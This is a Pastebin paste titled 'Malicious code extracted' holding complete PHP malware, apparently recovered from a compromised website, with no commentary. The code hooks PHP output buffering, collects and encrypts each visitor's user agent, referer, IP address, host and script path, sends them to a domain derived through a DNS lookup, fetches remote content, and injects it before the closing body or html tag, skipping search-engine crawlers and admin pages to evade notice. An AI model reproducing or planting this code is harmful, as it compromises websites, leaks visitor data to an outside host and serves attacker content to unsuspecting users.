Advertisement
Guest User

Malicious code extracted

a guest
Apr 3rd, 2015
919
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 6.12 KB | None | 0 0
  1.  
  2. function cqq($qw)
  3. {
  4.     return random($domarr, $qw);
  5. }
  6.  
  7. function en2($s, $q) {
  8.     $g = "";
  9.     while (strlen($g) < strlen($s)) {
  10.         $q = pack("H*", md5($g . $q . "q1w2e3r4"));
  11.         $g .= substr($q, 0, 8);
  12.     }
  13.     return $s ^ $g;
  14. }
  15.  
  16. function random($arr, $qw)
  17. {
  18.     $arr = str_split(
  19.         md5(
  20.             $qw.gethostbyname('stat-dns'.$qw)
  21.         ),
  22.         8
  23.     );
  24.     return $arr[rand(0, 1)] . $qw; // 0 or 1
  25. }
  26.  
  27. function g_1($url)
  28. {
  29.     if (function_exists("file_get_contents") === false) {
  30.         return false;
  31.     }
  32.     $buf = @file_get_contents($url);
  33.     if ($buf == "") {
  34.         return false;
  35.     }
  36.     return $buf;
  37. }
  38.  
  39. function g_2($url)
  40. {
  41.     if (function_exists("curl_init") === false) {
  42.         return false;
  43.     }
  44.     $ch = curl_init();
  45.     curl_setopt($ch, CURLOPT_URL, $url);
  46.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  47.     curl_setopt($ch, CURLOPT_TIMEOUT, 10);
  48.     curl_setopt($ch, CURLOPT_HEADER, 0);
  49.     $res = curl_exec($ch);
  50.     curl_close($ch);
  51.     if ($res == "") {
  52.         return false;
  53.     }
  54.     return $res;
  55. }
  56.  
  57. function g_3($url)
  58. {
  59.     if (function_exists("file") === false) {
  60.         return false;
  61.     }
  62.     $inc = @file($url);
  63.     $buf = @implode("", $inc);
  64.     if ($buf == "") {
  65.         return false;
  66.     }
  67.     return $buf;
  68. }
  69.  
  70. function g_4($url)
  71. {
  72.     if (function_exists("socket_create") === false) {
  73.         return false;
  74.     }
  75.     $p = @parse_url($url);
  76.     $host = $p["host"];
  77.     if (!isset($p["query"])) {
  78.         $p["query"] = "";
  79.     }
  80.     $uri = $p["path"] . "?" . $p["query"];
  81.     $ip1 = @gethostbyname($host);
  82.     $ip2 = @long2ip(@ip2long($ip1));
  83.     if ($ip1 != $ip2) {
  84.         return false;
  85.     }
  86.     $sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  87.     if (!@socket_connect($sock, $ip1, 80)) {
  88.         @socket_close($sock);
  89.         return false;
  90.     }
  91.     $req = "GET $uri HTTP/1.0\n";
  92.     $req .= "Host: $host\n\n";
  93.     socket_write($sock, $req);
  94.     $buf = "";
  95.     while ($t = socket_read($sock, 10000)) {
  96.         $buf .= $t;
  97.     }
  98.     @socket_close($sock);
  99.     if ($buf == "") {
  100.         return false;
  101.     }
  102.     list($m, $buf) = explode("\r\n\r\n", $buf);
  103.     return $buf;
  104. }
  105.  
  106. function gtd($url)
  107. {
  108.     $co = "";
  109.     $co = @g_1($url);
  110.     if ($co !== false) {
  111.         return $co;
  112.     }
  113.     $co = @g_2($url);
  114.     if ($co !== false) {
  115.         return $co;
  116.     }
  117.     $co = @g_3($url);
  118.     if ($co !== false) {
  119.         return $co;
  120.     }
  121.     $co = @g_4($url);
  122.     if ($co !== false) {
  123.         return $co;
  124.     }
  125.     return "";
  126. }
  127.  
  128. if (!function_exists("comgzi")) {
  129.     // Return uncompressed gzip file contents
  130.     function comgzi($gzData)
  131.     {
  132.         if (substr($gzData, 0, 3) == "\x1f\x8b\x08") { // Is gzipped?
  133.             $i = 10;
  134.             $flg = ord(substr($gzData, 3, 1));
  135.             if ($flg > 0) {
  136.                 if ($flg & 4) {
  137.                     list($xlen) = unpack("v", substr($gzData, $i, 2));
  138.                     $i = $i + 2 + $xlen;
  139.                 }
  140.                 if ($flg & 8) {
  141.                     $i = strpos($gzData, "\0", $i) + 1;
  142.                 }
  143.                 if ($flg & 16) $i = strpos($gzData, "\0", $i) + 1;
  144.                 if ($flg & 2) $i = $i + 2;
  145.             }
  146.             return @gzinflate(substr($gzData, $i, -8));
  147.         } else {
  148.             return false;
  149.         }
  150.     }
  151. }
  152.  
  153. function k34($op, $text)
  154. {
  155.     return base64_encode(en2($text, $op));
  156. }
  157.  
  158. function check212($param)
  159. {
  160.     if (!isset($_SERVER[$param])) {
  161.         $a = "non";
  162.     } else {
  163.         if ($_SERVER[$param] == "") {
  164.             $a = "non";
  165.         } else {
  166.             $a = $_SERVER[$param];
  167.         }
  168.     }
  169.     return $a;
  170. }
  171.  
  172. function day212()
  173. {
  174.     $a = check212("HTTP_USER_AGENT");
  175.     $b = check212("HTTP_REFERER");
  176.     $c = check212("REMOTE_ADDR");
  177.     $d = check212("HTTP_HOST");
  178.     $e = check212("PHP_SELF");
  179.     $domarr = array("33db9538", "9507c4e8", "e5b57288", "54dfa1cb");
  180.     if (($a == "non") or ($c == "non") or ($d == "non") or strrpos(
  181.             strtolower($e), "admin"
  182.         ) or (preg_match(
  183.             "/" . implode(
  184.                 "|", array("google", "slurp", "msnbot", "ia_archiver", "yandex",
  185.                            "rambler")
  186.             ) . "/i", strtolower($a)
  187.         ))
  188.     ) {
  189.         $o1 = "";
  190.     } else {
  191.         $op = mt_rand(100000, 999999);
  192.         $g4 = $op . "?" . urlencode(
  193.                 urlencode(
  194.                     k34($op, $a) . "." . k34($op, $b) . "." . k34($op, $c) . "."
  195.                     . k34($op, $d) . "." . k34($op, $e)
  196.                 )
  197.             );
  198.         $url = "http://" . cqq(".com") . "/" . $g4;
  199.         $ca1 = en2(@gtd($url), $op);
  200.         $a1 = @explode("!NF0", $ca1);
  201.         if (sizeof($a1) >= 2) {
  202.             $o1 = $a1[1];
  203.         } else {
  204.             $o1 = "";
  205.         }
  206.     }
  207.     return $o1;
  208. }
  209.  
  210. if (!function_exists("dcoo")) {
  211.     function dcoo($cz, $length = null)
  212.     {
  213.         if (false !== ($dz = @gzinflate($cz))) {
  214.             return $dz;
  215.         }
  216.         if (false !== ($dz = @comgzi($cz))) {
  217.             return $dz;
  218.         }
  219.         if (false !== ($dz = @gzuncompress($cz))) {
  220.             return $dz;
  221.         }
  222.         if (function_exists("gzdecode")) {
  223.             $dz = @gzdecode($cz);
  224.             if (false !== $dz) {
  225.                 return $dz;
  226.             }
  227.         }
  228.         return $cz;
  229.     }
  230. }
  231.  
  232. if (!function_exists("pa22")) {
  233.     function pa22($v)
  234.     {
  235.         Header("Content-Encoding: none");
  236.         $t = dcoo($v);
  237.         if (preg_match("/\<\/body/si", $t)) {
  238.             return preg_replace  
  239.             (
  240.                 "/(\<\/body[^\>]*\>)/si",
  241.                 day212() . "\n" . "$1",
  242.                 $t,
  243.                 1
  244.             );
  245.         } else {
  246.             if (preg_match("/\<\/html/si", $t)) {
  247.                 return preg_replace
  248.                 (
  249.                     "/(\<\/html[^\>]*\>)/si",
  250.                     day212() . "\n" . "$1",
  251.                     $t,
  252.                     1
  253.                 );
  254.             } else {
  255.                 return $t;
  256.             }
  257.         }
  258.     }
  259. }
  260.  
  261. ob_start("pa22");
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement